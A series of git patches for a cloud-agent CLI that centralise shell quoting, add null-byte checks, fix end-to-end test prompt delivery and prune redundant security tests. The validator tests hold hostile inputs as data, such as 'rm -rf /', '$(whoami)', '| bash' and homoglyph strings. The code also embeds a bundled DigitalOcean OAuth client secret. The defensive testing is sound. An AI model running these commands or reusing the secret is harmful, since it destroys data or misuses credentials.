+ expect(() => + validatePromptFileStats("prompt.txt", { + isFile: () => true, + size: 100, + }), + ).not.toThrow(); + expect(() => + validatePromptFileStats("prompt.txt", { + isFile: () => true, + size: 1024 * 1024, + }), + ).not.toThrow(); }); it("should reject non-regular files", () => { - const stats = { - isFile: () => false, - size: 100, - }; - expect(() => validatePromptFileStats("/dev/urandom", stats)).toThrow("not a regular file"); - }); - - it("should reject files over 1MB", () => { - const stats = { - isFile: () => true, - size: 1024 * 1024 + 1, - }; - expect(() => validatePromptFileStats("huge.txt", stats)).toThrow("too large"); - }); - - it("should reject empty files", () => { - const stats = { - isFile: () => true, - size: 0, - }; - expect(() => validatePromptFileStats("empty.txt", stats)).toThrow("empty"); + expect(() => + validatePromptFileStats("/dev/urandom", { + isFile: () => false, + size: 100, + }), + ).toThrow("not a regular file"); + }); + + it("should reject files over 1MB or empty files", () => { + expect(() => + validatePromptFileStats("huge.txt", { + isFile: () => true, + size: 1024 * 1024 + 1, + }), + ).toThrow("too large"); + expect(() => + validatePromptFileStats("empty.txt", { + isFile: () => true, + size: 0, + }), + ).toThrow("empty"); }); it("should show file size in MB for large files", () => { diff --git a/packages/cli/src/__tests__/security.test.ts b/packages/cli/src/__tests__/security.test.ts index 543615034..9dfbfb0f5 100644 --- a/packages/cli/src/__tests__/security.test.ts +++ b/packages/cli/src/__tests__/security.test.ts @@ -134,31 +134,21 @@ describe("validateIdentifier", () => { // ── Encoding attacks ──────────────────────────────────────────────────── - it("should reject null byte in identifier", () => { - expect(() => validateIdentifier("agent\x00name", "Test")).toThrow(); - }); - - it("should reject unicode homoglyphs", () => { - expect(() => validateIdentifier("cl\u0430ude", "Test")).toThrow(); - }); - - it("should reject zero-width characters", () => { - expect(() => validateIdentifier("agent\u200Bname", "Test")).toThrow(); - }); - - it("should reject right-to-left override character", () => { - expect(() => validateIdentifier("agent\u202Ename", "Test")).toThrow(); + it("should reject unicode and control character attacks", () => { + const attacks = [ + "agent\x00name", // null byte + "cl\u0430ude", // cyrillic homoglyph + "agent\u200Bname", // zero-width space + "agent\u202Ename", // right-to-left override + ]; + for (const input of attacks) { + expect(() => validateIdentifier(input, "Test"), JSON.stringify(input)).toThrow(); + } }); - it("should accept identifier with only hyphens", () => { + it("should accept identifiers with only hyphens, underscores, or digits", () => { expect(() => validateIdentifier("---", "Test")).not.toThrow(); - }); - - it("should accept identifier with only underscores", () => { expect(() => validateIdentifier("___", "Test")).not.toThrow(); - }); - - it("should accept numeric-only identifiers", () => { expect(() => validateIdentifier("123", "Test")).not.toThrow(); }); From 6b0da91f7ae43ba38ccd36f0b25c921a7bfe94d1 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 09:54:31 -0700 Subject: [PATCH 15/26] security: consolidate shellQuote across all clouds (defense-in-depth) (#2535) PR #2533 hardened GCP with shellQuote() and null-byte rejection, but left Hetzner, DigitalOcean, AWS, and connect.ts using inline .replace(/'/g, "'\\''") without null-byte validation. - Move shellQuote to shared/ui.ts as the single source of truth - Add null-byte validation to runServer in Hetzner, DO, and AWS - Replace inline shell escaping with shellQuote in interactiveSession across all clouds, connect.ts, and agents.ts buildEnvBlock - Re-export shellQuote from gcp.ts for backwards compatibility Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- packages/cli/package.json | 2 +- packages/cli/src/__tests__/gcp-shellquote.test.ts | 2 +- packages/cli/src/aws/aws.ts | 15 +++++++++------ packages/cli/src/commands/connect.ts | 7 ++++--- packages/cli/src/digitalocean/digitalocean.ts | 11 ++++++++--- packages/cli/src/gcp/gcp.ts | 14 +++----------- packages/cli/src/hetzner/hetzner.ts | 11 ++++++++--- packages/cli/src/shared/agents.ts | 11 +++++++---- packages/cli/src/shared/ui.ts | 12 ++++++++++++ 9 files changed, 53 insertions(+), 32 deletions(-) diff --git a/packages/cli/package.json b/packages/cli/package.json index 027123bae..df9e0e0e8 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.16.17", + "version": "0.16.18", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/__tests__/gcp-shellquote.test.ts b/packages/cli/src/__tests__/gcp-shellquote.test.ts index 9c973f124..66e64cb20 100644 --- a/packages/cli/src/__tests__/gcp-shellquote.test.ts +++ b/packages/cli/src/__tests__/gcp-shellquote.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "bun:test"; -import { shellQuote } from "../gcp/gcp.js"; +import { shellQuote } from "../shared/ui.js"; describe("shellQuote", () => { it("should wrap simple strings in single quotes", () => { diff --git a/packages/cli/src/aws/aws.ts b/packages/cli/src/aws/aws.ts index 55b603c4e..efbbfd438 100644 --- a/packages/cli/src/aws/aws.ts +++ b/packages/cli/src/aws/aws.ts @@ -34,6 +34,7 @@ import { promptSpawnNameShared, sanitizeTermValue, selectFromList, + shellQuote, validateRegionName, } from "../shared/ui"; @@ -1052,6 +1053,9 @@ export async function waitForCloudInit(maxAttempts = 60): Promise { } export async function runServer(cmd: string, timeoutSecs?: number): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const fullCmd = `export PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && ${cmd}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); const proc = Bun.spawn( @@ -1060,7 +1064,7 @@ export async function runServer(cmd: string, timeoutSecs?: number): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); - // Single-quote escaping prevents premature shell expansion of $variables in cmd - const shellEscapedCmd = cmd.replace(/'/g, "'\\''"); - // Pass command directly to SSH (no outer bash -c wrapper) — matches Hetzner/DO behavior. - // The extra bash -c layer added latency and an unnecessary shell process. - const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c '${shellEscapedCmd}'`; + const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${shellQuote(cmd)}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); const exitCode = spawnInteractive([ "ssh", diff --git a/packages/cli/src/commands/connect.ts b/packages/cli/src/commands/connect.ts index 0a5537988..fbb661652 100644 --- a/packages/cli/src/commands/connect.ts +++ b/packages/cli/src/commands/connect.ts @@ -14,6 +14,7 @@ import { getHistoryPath } from "../shared/paths.js"; import { tryCatch } from "../shared/result.js"; import { SSH_INTERACTIVE_OPTS, spawnInteractive } from "../shared/ssh.js"; import { ensureSshKeys, getSshKeyOpts } from "../shared/ssh-keys.js"; +import { shellQuote } from "../shared/ui.js"; import { getErrorMessage } from "./shared.js"; /** Execute a shell command and resolve/reject on process close/error */ @@ -180,7 +181,7 @@ export async function cmdEnterAgent( // Standard SSH connection with agent launch p.log.step(`Entering ${pc.bold(agentName)} on ${pc.bold(connection.ip)}...`); - const escapedRemoteCmd = remoteCmd.replace(/'/g, "'\\''"); + const quotedRemoteCmd = shellQuote(remoteCmd); const keyOpts = getSshKeyOpts(await ensureSshKeys()); return runInteractiveCommand( "ssh", @@ -189,9 +190,9 @@ export async function cmdEnterAgent( ...keyOpts, `${connection.user}@${connection.ip}`, "--", - `bash -lc '${escapedRemoteCmd}'`, + `bash -lc ${quotedRemoteCmd}`, ], `Failed to enter ${agentName}`, - `ssh -t ${connection.user}@${connection.ip} -- bash -lc '${escapedRemoteCmd}'`, + `ssh -t ${connection.user}@${connection.ip} -- bash -lc ${quotedRemoteCmd}`, ); } diff --git a/packages/cli/src/digitalocean/digitalocean.ts b/packages/cli/src/digitalocean/digitalocean.ts index 54d94e85d..e369dd318 100644 --- a/packages/cli/src/digitalocean/digitalocean.ts +++ b/packages/cli/src/digitalocean/digitalocean.ts @@ -42,6 +42,7 @@ import { prompt, sanitizeTermValue, selectFromList, + shellQuote, toKebabCase, validateRegionName, validateServerName, @@ -1155,6 +1156,9 @@ export async function waitForCloudInit(ip?: string, maxAttempts = 60): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const serverIp = ip || _state.serverIp; const fullCmd = `export PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && ${cmd}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); @@ -1228,11 +1232,12 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str } export async function interactiveSession(cmd: string, ip?: string): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const serverIp = ip || _state.serverIp; const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); - // Single-quote escaping prevents premature shell expansion of $variables in cmd - const shellEscapedCmd = cmd.replace(/'/g, "'\\''"); - const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c '${shellEscapedCmd}'`; + const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${shellQuote(cmd)}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); const exitCode = spawnInteractive([ diff --git a/packages/cli/src/gcp/gcp.ts b/packages/cli/src/gcp/gcp.ts index 51868ac3f..894f47190 100644 --- a/packages/cli/src/gcp/gcp.ts +++ b/packages/cli/src/gcp/gcp.ts @@ -31,6 +31,7 @@ import { promptSpawnNameShared, sanitizeTermValue, selectFromList, + shellQuote, } from "../shared/ui"; const DASHBOARD_URL = "https://console.cloud.google.com/compute/instances"; @@ -1083,14 +1084,5 @@ export async function destroyInstance(name?: string): Promise { // ─── Shell Quoting ────────────────────────────────────────────────────────── -/** POSIX single-quote escaping: wraps `s` in single quotes and escapes any - * embedded single quotes with the standard `'\''` technique. - * - * Defense-in-depth: rejects null bytes which could truncate the string at - * the C/OS level even though callers already validate for them. */ -export function shellQuote(s: string): string { - if (/\0/.test(s)) { - throw new Error("shellQuote: input must not contain null bytes"); - } - return "'" + s.replace(/'/g, "'\\''") + "'"; -} +// shellQuote is now imported from shared/ui.ts and re-exported for backwards compat +export { shellQuote } from "../shared/ui"; diff --git a/packages/cli/src/hetzner/hetzner.ts b/packages/cli/src/hetzner/hetzner.ts index d42f7f4ca..e2302575e 100644 --- a/packages/cli/src/hetzner/hetzner.ts +++ b/packages/cli/src/hetzner/hetzner.ts @@ -33,6 +33,7 @@ import { promptSpawnNameShared, sanitizeTermValue, selectFromList, + shellQuote, validateRegionName, } from "../shared/ui"; @@ -576,6 +577,9 @@ export async function waitForCloudInit(ip?: string, maxAttempts = 60): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const serverIp = ip || _state.serverIp; const fullCmd = `export PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && ${cmd}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); @@ -650,11 +654,12 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str } export async function interactiveSession(cmd: string, ip?: string): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const serverIp = ip || _state.serverIp; const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); - // Single-quote escaping prevents premature shell expansion of $variables in cmd - const shellEscapedCmd = cmd.replace(/'/g, "'\\''"); - const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c '${shellEscapedCmd}'`; + const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${shellQuote(cmd)}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); diff --git a/packages/cli/src/shared/agents.ts b/packages/cli/src/shared/agents.ts index fdc5bbe99..7c05f900a 100644 --- a/packages/cli/src/shared/agents.ts +++ b/packages/cli/src/shared/agents.ts @@ -1,6 +1,6 @@ // shared/agents.ts — AgentConfig interface + shared helpers (cloud-agnostic) -import { logError } from "./ui"; +import { logError, shellQuote } from "./ui"; // ─── Types ─────────────────────────────────────────────────────────────────── @@ -119,9 +119,12 @@ export function generateEnvConfig(pairs: string[]): string { logError(`SECURITY: Invalid environment variable name rejected: ${key}`); continue; } - // Escape single quotes in value - const escaped = value.replace(/'/g, "'\\''"); - lines.push(`export ${key}='${escaped}'`); + // Reject null bytes in value (defense-in-depth) + if (/\0/.test(value)) { + logError(`SECURITY: Null byte in environment variable value rejected: ${key}`); + continue; + } + lines.push(`export ${key}=${shellQuote(value)}`); } return lines.join("\n") + "\n"; } diff --git a/packages/cli/src/shared/ui.ts b/packages/cli/src/shared/ui.ts index 5aae62e06..8d67a7f2e 100644 --- a/packages/cli/src/shared/ui.ts +++ b/packages/cli/src/shared/ui.ts @@ -253,6 +253,18 @@ export function loadApiToken(cloud: string): string | null { ); } +/** POSIX single-quote escaping: wraps `s` in single quotes and escapes any + * embedded single quotes with the standard `'\''` technique. + * + * Defense-in-depth: rejects null bytes which could truncate the string at + * the C/OS level even though callers already validate for them. */ +export function shellQuote(s: string): string { + if (/\0/.test(s)) { + throw new Error("shellQuote: input must not contain null bytes"); + } + return "'" + s.replace(/'/g, "'\\''") + "'"; +} + /** JSON-escape a string (returns the quoted JSON string). */ export function jsonEscape(s: string): string { return JSON.stringify(s); From 0d47c2119d895e04bde8e6ba3959a9ccc0434004 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 10:50:06 -0700 Subject: [PATCH 16/26] fix(e2e): fix input test prompt delivery and agent flags (#2536) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three root-cause bugs in input test functions: 1. Stdin pass-through broken: cloud_exec uses "printf '...' | base64 -d | bash" on the remote, meaning bash reads the script from its own stdin — not the outer process's stdin. "PROMPT=$(base64 -d)" inside the script was reading from the already-consumed pipe, always producing an empty prompt. Fix: embed the base64-encoded prompt directly in the remote command string. Base64 output is [A-Za-z0-9+/=] only — safe to embed in single-quoted strings. 2. Zeroclaw flag wrong: "zeroclaw agent -p" was passing the prompt as --provider (not --prompt). The correct flag for non-interactive single-message mode is "-m"/"--message". 3. Codex model stale: "openai/gpt-5-codex" does not exist on OpenRouter. Updated to "openai/gpt-5.1-codex" which is available. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 --- packages/cli/src/shared/agent-setup.ts | 2 +- sh/e2e/lib/verify.sh | 35 +++++++++++++++++--------- 2 files changed, 24 insertions(+), 13 deletions(-) diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index 63039c2a2..71188d180 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -275,7 +275,7 @@ export async function offerGithubAuth(runner: CloudRunner): Promise { async function setupCodexConfig(runner: CloudRunner, _apiKey: string): Promise { logStep("Configuring Codex CLI for OpenRouter..."); - const config = `model = "openai/gpt-5-codex" + const config = `model = "openai/gpt-5.1-codex" model_provider = "openrouter" [model_providers.openrouter] diff --git a/sh/e2e/lib/verify.sh b/sh/e2e/lib/verify.sh index e13e4a61a..1ce466b7a 100644 --- a/sh/e2e/lib/verify.sh +++ b/sh/e2e/lib/verify.sh @@ -24,16 +24,22 @@ input_test_claude() { local app="$1" log_step "Running input test for claude..." - # Base64-encode prompt, then pipe via stdin to avoid interpolating into the command string. - # -w 0 is GNU coreutils (Linux); falls back to plain base64 (macOS/BSD). + # Base64-encode the prompt and embed it directly in the remote command. + # Base64 output is [A-Za-z0-9+/=] only — safe to embed in single quotes. + # We cannot pipe the prompt via stdin because cloud_exec uses + # "printf '...' | base64 -d | bash", which means bash's stdin is the + # decoded script — not the outer process stdin. Embedding the prompt + # in the command avoids this stdin pass-through limitation. local encoded_prompt encoded_prompt=$(printf '%s' "${INPUT_TEST_PROMPT}" | base64 -w 0 2>/dev/null || printf '%s' "${INPUT_TEST_PROMPT}" | base64 | tr -d '\n') local output - output=$(printf '%s' "${encoded_prompt}" | cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + # claude -p (--print) reads the prompt from stdin. + output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ export PATH=\$HOME/.claude/local/bin:\$HOME/.local/bin:\$HOME/.bun/bin:\$PATH; \ rm -rf /tmp/e2e-test && mkdir -p /tmp/e2e-test && cd /tmp/e2e-test && git init -q; \ - PROMPT=\$(base64 -d); timeout ${INPUT_TEST_TIMEOUT} claude -p \"\$PROMPT\"" 2>&1) || true + PROMPT=\$(printf '%s' '${encoded_prompt}' | base64 -d); \ + printf '%s' \"\$PROMPT\" | timeout ${INPUT_TEST_TIMEOUT} claude -p" 2>&1) || true if printf '%s' "${output}" | grep -qx "${INPUT_TEST_MARKER}"; then log_ok "claude input test — marker found in response" @@ -50,15 +56,16 @@ input_test_codex() { local app="$1" log_step "Running input test for codex..." - # Base64-encode prompt, then pipe via stdin to avoid interpolating into the command string. + # Embed the prompt in the command (see input_test_claude comment for why stdin won't work). local encoded_prompt encoded_prompt=$(printf '%s' "${INPUT_TEST_PROMPT}" | base64 -w 0 2>/dev/null || printf '%s' "${INPUT_TEST_PROMPT}" | base64 | tr -d '\n') local output - output=$(printf '%s' "${encoded_prompt}" | cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ export PATH=\$HOME/.npm-global/bin:\$HOME/.local/bin:\$HOME/.bun/bin:\$PATH; \ rm -rf /tmp/e2e-test && mkdir -p /tmp/e2e-test && cd /tmp/e2e-test && git init -q; \ - PROMPT=\$(base64 -d); timeout ${INPUT_TEST_TIMEOUT} codex exec \"\$PROMPT\"" 2>&1) || true + PROMPT=\$(printf '%s' '${encoded_prompt}' | base64 -d); \ + timeout ${INPUT_TEST_TIMEOUT} codex exec --full-auto \"\$PROMPT\"" 2>&1) || true if printf '%s' "${output}" | grep -qx "${INPUT_TEST_MARKER}"; then log_ok "codex input test — marker found in response" @@ -142,10 +149,12 @@ input_test_openclaw() { fi local output - output=$(printf '%s' "${encoded_prompt}" | cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + # Embed the prompt in the command (see input_test_claude comment for why stdin won't work). + output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ export PATH=\$HOME/.npm-global/bin:\$HOME/.bun/bin:\$HOME/.local/bin:\$PATH; \ rm -rf /tmp/e2e-test && mkdir -p /tmp/e2e-test && cd /tmp/e2e-test && git init -q; \ - PROMPT=\$(base64 -d); timeout ${INPUT_TEST_TIMEOUT} openclaw agent --message \"\$PROMPT\" --session-id e2e-test-${attempt} --json --timeout 60" 2>&1) || true + PROMPT=\$(printf '%s' '${encoded_prompt}' | base64 -d); \ + timeout ${INPUT_TEST_TIMEOUT} openclaw agent --message \"\$PROMPT\" --session-id e2e-test-${attempt} --json --timeout 60" 2>&1) || true if printf '%s' "${output}" | grep -qx "${INPUT_TEST_MARKER}"; then log_ok "openclaw input test — marker found in response" @@ -170,14 +179,16 @@ input_test_zeroclaw() { local app="$1" log_step "Running input test for zeroclaw..." - # Base64-encode prompt, then pipe via stdin to avoid interpolating into the command string. + # Embed the prompt in the command (see input_test_claude comment for why stdin won't work). + # Use -m/--message for non-interactive single-message mode (not -p which is --provider). local encoded_prompt encoded_prompt=$(printf '%s' "${INPUT_TEST_PROMPT}" | base64 -w 0 2>/dev/null || printf '%s' "${INPUT_TEST_PROMPT}" | base64 | tr -d '\n') local output - output=$(printf '%s' "${encoded_prompt}" | cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; source ~/.cargo/env 2>/dev/null; \ + output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; source ~/.cargo/env 2>/dev/null; \ rm -rf /tmp/e2e-test && mkdir -p /tmp/e2e-test && cd /tmp/e2e-test && git init -q; \ - PROMPT=\$(base64 -d); timeout ${INPUT_TEST_TIMEOUT} zeroclaw agent -p \"\$PROMPT\"" 2>&1) || true + PROMPT=\$(printf '%s' '${encoded_prompt}' | base64 -d); \ + timeout ${INPUT_TEST_TIMEOUT} zeroclaw agent -m \"\$PROMPT\"" 2>&1) || true if printf '%s' "${output}" | grep -qx "${INPUT_TEST_MARKER}"; then log_ok "zeroclaw input test — marker found in response" From 985181b2592398b3a533e688e2c593513bcfadca Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 12:48:36 -0700 Subject: [PATCH 17/26] security: add DO_CLIENT_SECRET env var override (#2538) * security: add DO_CLIENT_SECRET env var override Allows users/organizations to supply their own DigitalOcean OAuth client secret via DO_CLIENT_SECRET env var rather than relying on the bundled default. The bundled secret remains as fallback. Fixes #2537 Agent: security-auditor Co-Authored-By: Claude Sonnet 4.5 * chore: bump CLI version to 0.16.19 Agent: security-auditor Co-Authored-By: Claude Sonnet 4.5 --------- Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- packages/cli/package.json | 2 +- packages/cli/src/digitalocean/digitalocean.ts | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/cli/package.json b/packages/cli/package.json index df9e0e0e8..9920a8764 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.16.18", + "version": "0.16.19", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/digitalocean/digitalocean.ts b/packages/cli/src/digitalocean/digitalocean.ts index e369dd318..3d8c4cc17 100644 --- a/packages/cli/src/digitalocean/digitalocean.ts +++ b/packages/cli/src/digitalocean/digitalocean.ts @@ -71,6 +71,9 @@ const DO_OAUTH_TOKEN = "https://cloud.digitalocean.com/v1/oauth/token"; // 5. This is the same pattern used by: gh CLI (GitHub), doctl (DigitalOcean), // gcloud (Google), and az (Azure). // +// Override: Set DO_CLIENT_SECRET env var to use your own OAuth app secret instead +// of the bundled default (useful for organizations with custom DO OAuth apps). +// // TODO: PKCE migration — monitor and migrate when DigitalOcean adds support. // Last checked: 2026-03 — PKCE without client_secret returns 401 invalid_request. // Check status: POST to /v1/oauth/token with code_verifier but WITHOUT client_secret. @@ -83,7 +86,8 @@ const DO_OAUTH_TOKEN = "https://cloud.digitalocean.com/v1/oauth/token"; // 6. Update this comment to reflect the new PKCE-only flow // Re-check every 6 months or when DigitalOcean announces OAuth/API updates. const DO_CLIENT_ID = "c82b64ac5f9cd4d03b686bebf17546c603b9c368a296a8c4c0718b1f405e4bdc"; -const DO_CLIENT_SECRET = "8083ef0317481d802d15b68f1c0b545b726720dbf52d00d17f649cc794efdfd9"; +const DO_CLIENT_SECRET = + process.env["DO_CLIENT_SECRET"] ?? "8083ef0317481d802d15b68f1c0b545b726720dbf52d00d17f649cc794efdfd9"; // Fine-grained scopes for spawn (minimum required) const DO_SCOPES = [ From 068d9ec43c2a5561a06bc13a852df3d0c33e88d6 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:48:33 -0700 Subject: [PATCH 18/26] test: remove duplicate and theatrical tests (#2539) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Remove redundant existsSync check inside icon-integrity "is actual PNG data" tests — the file existence is already verified in the preceding test, and isPng() will throw if the file is missing. Remove the "should detect multiple dangerous patterns" test from validatePrompt — it retests the same $(…), backtick, ; rm, and |bash/sh patterns that each have their own dedicated it() block immediately above. Fix misleading test description: "should accept scripts with comments containing dangerous patterns" — the test actually expects a throw (documented as a known trade-off). Rename to "should reject…". Removes 1 test (1381 → 1380) and 18 expect() calls. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 --- .../cli/src/__tests__/icon-integrity.test.ts | 2 -- packages/cli/src/__tests__/security.test.ts | 16 +--------------- 2 files changed, 1 insertion(+), 17 deletions(-) diff --git a/packages/cli/src/__tests__/icon-integrity.test.ts b/packages/cli/src/__tests__/icon-integrity.test.ts index e8873778a..6dea7a013 100644 --- a/packages/cli/src/__tests__/icon-integrity.test.ts +++ b/packages/cli/src/__tests__/icon-integrity.test.ts @@ -57,7 +57,6 @@ describe("Icon Integrity", () => { }); it(`${id}.png is actual PNG data`, () => { - expect(existsSync(pngPath)).toBe(true); expect(isPng(pngPath)).toBe(true); }); @@ -94,7 +93,6 @@ describe("Icon Integrity", () => { }); it(`${id}.png is actual PNG data`, () => { - expect(existsSync(pngPath)).toBe(true); expect(isPng(pngPath)).toBe(true); }); diff --git a/packages/cli/src/__tests__/security.test.ts b/packages/cli/src/__tests__/security.test.ts index 9dfbfb0f5..9ed4192da 100644 --- a/packages/cli/src/__tests__/security.test.ts +++ b/packages/cli/src/__tests__/security.test.ts @@ -264,7 +264,7 @@ rm -rf / expect(() => validateScriptContent(script)).toThrow("destructive filesystem operation"); }); - it("should accept scripts with comments containing dangerous patterns", () => { + it("should reject scripts with dangerous patterns in comments (regex matches inside comments)", () => { const script = `#!/bin/bash # Don't do this: rm -rf / echo "safe" @@ -436,20 +436,6 @@ describe("validatePrompt", () => { expect(() => validatePrompt("Run $(echo test)")).toThrow("plain English"); }); - it("should detect multiple dangerous patterns", () => { - const dangerousPatterns = [ - "$(whoami)", - "`id`", - "; rm -rf /tmp", - "| bash", - "| sh", - ]; - - for (const pattern of dangerousPatterns) { - expect(() => validatePrompt(`Test ${pattern} here`)).toThrow(); - } - }); - // ── Command injection patterns (issue #1400) ─────────────────────────── it("should reject bash variable expansion with ${}", () => { From 4c294751b55d83541f659aac8efb67230215d249 Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 15:04:25 -0700 Subject: [PATCH 19/26] fix: write openclaw config atomically to preserve gateway auth token The `openclaw config set` calls for browser and Telegram settings were re-serializing openclaw.json and dropping the gateway.auth.token field, causing the dashboard to show "Unauthorized" when auto-opened via tunnel. Now all config (gateway auth, browser, channels) is built as a single JSON object and written once via uploadConfigFile. Co-Authored-By: Claude Opus 4.6 --- packages/cli/package.json | 2 +- packages/cli/src/shared/agent-setup.ts | 105 ++++++++++++------------- 2 files changed, 51 insertions(+), 56 deletions(-) diff --git a/packages/cli/package.json b/packages/cli/package.json index 9920a8764..107ec029f 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.16.19", + "version": "0.16.20", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index 71188d180..f86c83fc6 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -328,69 +328,64 @@ async function setupOpenclawConfig( } const gatewayToken = token ?? crypto.randomUUID().replace(/-/g, ""); - const escapedKey = jsonEscape(apiKey); - const escapedToken = jsonEscape(gatewayToken); - const escapedModel = jsonEscape(modelId); - - const config = `{ - "env": { - "OPENROUTER_API_KEY": ${escapedKey} - }, - "gateway": { - "mode": "local", - "auth": { - "token": ${escapedToken} - } - }, - "agents": { - "defaults": { - "model": { - "primary": ${escapedModel} - } - } - } -}`; - await uploadConfigFile(runner, config, "$HOME/.openclaw/openclaw.json"); - // Configure browser via CLI (openclaw config set) — the supported way to set - // browser options. Writing JSON directly may not be picked up by all versions. - const browserResult = await asyncTryCatchIf(isOperationalError, () => - runner.runServer( - "export PATH=$HOME/.npm-global/bin:$HOME/.bun/bin:$HOME/.local/bin:$PATH; " + - "openclaw config set browser.executablePath /usr/bin/google-chrome-stable; " + - "openclaw config set browser.noSandbox true; " + - "openclaw config set browser.headless true; " + - "openclaw config set browser.defaultProfile openclaw", - ), - ); - if (!browserResult.ok) { - logWarn("Browser config setup failed (non-fatal)"); - } - - // Telegram channel setup — prompt for bot token and inject into config + // Prompt for Telegram bot token before building the config JSON so we can + // include it in a single atomic write — avoids `openclaw config set` calls + // that can clobber the gateway auth token. + let telegramBotToken = ""; if (enabledSteps?.has("telegram")) { logStep("Setting up Telegram..."); const botToken = await prompt("Telegram bot token (from @BotFather): "); - const trimmedToken = botToken.trim(); - - if (trimmedToken) { - const escapedBotToken = jsonEscape(trimmedToken); - const telegramResult = await asyncTryCatchIf(isOperationalError, () => - runner.runServer( - "export PATH=$HOME/.npm-global/bin:$HOME/.bun/bin:$HOME/.local/bin:$PATH; " + - `openclaw config set channels.telegram.botToken ${escapedBotToken}`, - ), - ); - if (telegramResult.ok) { - logInfo("Telegram bot token configured"); - } else { - logWarn("Telegram config failed — set it up via the web dashboard after launch"); - } - } else { + telegramBotToken = botToken.trim(); + if (!telegramBotToken) { logInfo("No token entered — set up Telegram via the web dashboard after launch"); } } + // Build the full config as a single JSON object. All settings — gateway auth, + // browser, channels — are written atomically to avoid `openclaw config set` + // calls that re-serialize the file and can drop the gateway auth token. + const hasBrowser = !enabledSteps || enabledSteps.has("browser"); + const 